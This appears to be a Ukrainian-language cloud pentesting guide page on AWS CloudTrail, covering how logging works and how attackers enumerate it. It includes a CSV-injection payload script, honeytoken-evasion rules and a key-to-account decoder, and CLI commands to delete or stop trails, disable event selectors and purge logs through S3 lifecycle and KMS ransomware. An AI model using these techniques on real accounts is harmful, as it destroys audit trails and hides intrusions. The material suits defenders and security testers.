AWS - CloudTrail Enum

CloudTrail

AWS CloudTrail реєструє та моніторить активність у вашому середовищі AWS. Він захоплює детальні журнали подій, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує аудит змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.

Кожна зафіксована подія містить:

• Назву викликаного API: eventName

• Викликану службу: eventSource

• Час: eventTime

• IP-адресу: SourceIPAddress

• Метод агента: userAgent. Приклади:

• Signing.amazonaws.com - З AWS Management Console

• console.amazonaws.com - Користувач root облікового запису

• lambda.amazonaws.com - AWS Lambda

• Параметри запиту: requestParameters

• Елементи відповіді: responseElements

Події записуються в новий файл журналу приблизно кожні 5 хвилин у файлі JSON, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів доставляються в S3 приблизно через 15 хвилин. Журнали CloudTrail можуть бути агреговані між обліковими записами та регіонами. CloudTrail дозволяє використовувати цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними з моменту їх доставки CloudTrail. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини. При створенні Trail селектори подій дозволять вам вказати, які події журналювати: управлінські, дані або події аналітики.

Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами.

Журнали зберігаються в кошику S3 з таким форматом імені:

• BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

• Ім'я кошика: aws-cloudtrail-logs-<accountid>-<random>

• Приклад: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

У кожній папці кожен журнал матиме ім'я, що відповідає цьому формату: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Конвенція іменування файлів журналів

Крім того, файли дайджесту (для перевірки цілісності файлів) будуть у тому ж кошику в:

Агрегація журналів з кількох облікових записів

• Створіть Trail в обліковому записі AWS, куди ви хочете, щоб файли журналів були доставлені

• Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу

• Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1

Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS.

CloudTrail з усіх облікових записів організації в 1

При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:

Таким чином, ви можете легко налаштувати CloudTrail у всіх регіонах усіх облікових записів і централізувати журнали в 1 обліковому записі (який ви повинні захистити).

Перевірка файлів журналів

Ви можете перевірити, що журнали не були змінені, запустивши

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Логи до CloudWatch

CloudTrail може автоматично надсилати логи до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджають вас про підозрілі дії. Зверніть увагу, що для того, щоб CloudTrail міг надсилати логи до CloudWatch, потрібно створити роль, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати стандартну роль AWS для виконання цих дій. Ця роль дозволить CloudTrail:

• CreateLogStream: Це дозволяє створювати потоки логів CloudWatch

• PutLogEvents: Доставляти логи CloudTrail до потоку логів CloudWatch

Історія подій

Історія подій CloudTrail дозволяє вам переглядати в таблиці логи, які були зафіксовані:

Інсайти

CloudTrail Insights автоматично аналізує події управління записами з трас CloudTrail і сповіщає вас про незвичайну активність. Наприклад, якщо є збільшення подій TerminateInstance, яке відрізняється від встановлених базових значень, ви побачите це як подію Insights. Ці події роблять знаходження та реагування на незвичайну активність API легшими ніж будь-коли.

Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Безпека

Консультант доступу

AWS Access Advisor спирається на останні 400 днів логів AWS CloudTrail для збору своїх інсайтів. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант доступу використовує ці дані, щоб показати, коли сервіси востаннє використовувалися. Аналізуючи логи CloudTrail, Консультант доступу може визначити, які сервіси AWS використовував користувач IAM або роль, і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо удосконалення дозволів, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.

Дії

Перерахування

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Можливо виконати CVS-ін'єкцію в CloudTrail, яка виконає довільний код, якщо журнали експортуються у форматі CSV і відкриваються в Excel. Наступний код згенерує запис журналу з поганою назвою Trail, що містить корисне навантаження:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Для отримання додаткової інформації про CSV-ін'єкції перегляньте сторінку:

Для отримання додаткової інформації про цю конкретну техніку перегляньте https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Обхід виявлення

HoneyTokens обхід

Honeytokens створюються для виявлення ексфільтрації чутливої інформації. У випадку з AWS, це ключі AWS, використання яких контролюється, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.

Однак, Honeytokens, такі як ті, що створені Canarytokens, SpaceCrab, SpaceSiren, або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, ви могли б дізнатися, чи є ключ honeytoken чи ні.

Pacu має деякі правила для виявлення, чи належить ключ Canarytokens, SpaceCrab, SpaceSiren:

• Якщо canarytokens.org з'являється в назві ролі або ідентифікатор облікового запису 534261010715 з'являється в повідомленні про помилку.

• Тестуючи їх нещодавно, вони використовують обліковий запис 717712589309 і все ще мають рядок canarytokens.com в назві.

• Якщо SpaceCrab з'являється в назві ролі в повідомленні про помилку

• SpaceSiren використовує uuids для генерації імен користувачів: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

• Якщо ім'я виглядає як випадково згенероване, є високі ймовірності, що це HoneyToken.

Отримати ідентифікатор облікового запису з ідентифікатора ключа

Ви можете отримати ідентифікатор облікового запису з закодованого всередині ключа доступу, як пояснено тут і перевірити ідентифікатор облікового запису зі своїм списком Honeytokens AWS облікових записів:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the оригінальному дослідженні.

Не генерувати журнал

Найефективніша техніка для цього насправді є простою. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі зловмисника. Це змусить CloudTrail згенерувати журнал у ВАШОМУ ВЛАСНОМУ AWS обліковому записі, а не у жертви.

Справа в тому, що вивід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому ви зможете побачити, чи це Honeytoken.

AWS служби без журналів

У минулому існували деякі AWS служби, які не надсилають журнали до CloudTrail (знайдіть список тут). Деякі з цих служб відповідають з помилкою, що містить ARN ключової ролі, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ.

Таким чином, зловмисник може отримати ARN ключа, не викликаючи жодного журналу. У ARN зловмисник може побачити ідентифікатор облікового запису AWS та ім'я, легко дізнатися ідентифікатори облікових записів компаній HoneyToken та їхні імена, тому таким чином зловмисник може визначити, чи є токен HoneyToken.

Доступ до третьої інфраструктури

Деякі служби AWS створюють певну інфраструктуру, таку як Бази даних або Kubernetes кластери (EKS). Користувач, який безпосередньо спілкується з цими службами (наприклад, API Kubernetes) не використовуватиме AWS API, тому CloudTrail не зможе побачити цю комунікацію.

Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і спілкуватися з API службою без виявлення Cloudtrail.

Більше інформації в:

Модифікація конфігурації CloudTrail

Видалити сліди

aws cloudtrail delete-trail --name [trail-name]

Зупинити сліди

aws cloudtrail stop-logging --name [trail-name]

Вимкнення ведення журналів у кількох регіонах

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Вимкнення журналювання за вибором подій

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

У першому прикладі надається один селектор подій у вигляді масиву JSON з одним об'єктом. "ReadWriteType": "ReadOnly" вказує на те, що селектор подій повинен захоплювати лише події тільки для читання (тому CloudTrail insights не буде перевіряти запис події, наприклад).

Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог.

Видалення журналів через політику життєвого циклу S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Модифікація конфігурації бакету

• Видалити S3 бакет

• Змінити політику бакету, щоб заборонити будь-які записи з сервісу CloudTrail

• Додати політику життєвого циклу до S3 бакету для видалення об'єктів

• Вимкнути ключ kms, що використовується для шифрування журналів CloudTrail

Ransomware Cloudtrail

Ransomware S3

Ви можете згенерувати асиметричний ключ і змусити CloudTrail зашифрувати дані цим ключем і видалити приватний ключ, щоб вміст CloudTrail не можна було відновити. Це в основному S3-KMS ransomware, пояснене в:

KMS ransomware

Це найпростіший спосіб виконати попередню атаку з іншими вимогами до дозволів:

Посилання

• https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory